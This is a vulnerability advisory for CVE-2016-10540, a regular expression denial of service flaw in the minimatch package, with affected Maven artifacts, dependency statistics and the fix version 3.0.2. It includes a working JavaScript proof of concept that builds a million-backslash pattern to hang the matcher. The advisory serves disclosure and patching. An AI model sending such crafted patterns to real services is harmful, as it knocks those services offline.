HIGH 7.5

CVE-2016-10540

Regular Expression Denial of Service in minimatch

Description

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Affected Maven artifacts (3)

ArtifactAffected versionsFixed in
org.mvnpm » minimatchvia npm minimatch
< 3.0.2
3.0.2
org.webjars » minimatchvia npm minimatch
< 3.0.2
3.0.2
org.webjars.npm » minimatchvia npm minimatch
< 3.0.2
3.0.2

Blast radius

3affected artifacts
18affected versions
8dependent artifacts (est.)
19dependent versions

62% of the dependent artifacts (5) still pull an affected version in their latest release.

DepthDependent versions
Direct
4
2 hops
7
3 hops
8

Most used dependents

Computed from the dependency graph of build 20261125.0317 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (1 package) . See all on OSV

References

Advisorynvd.nist.gov
Advisorygithub.com
Webnpmjs.com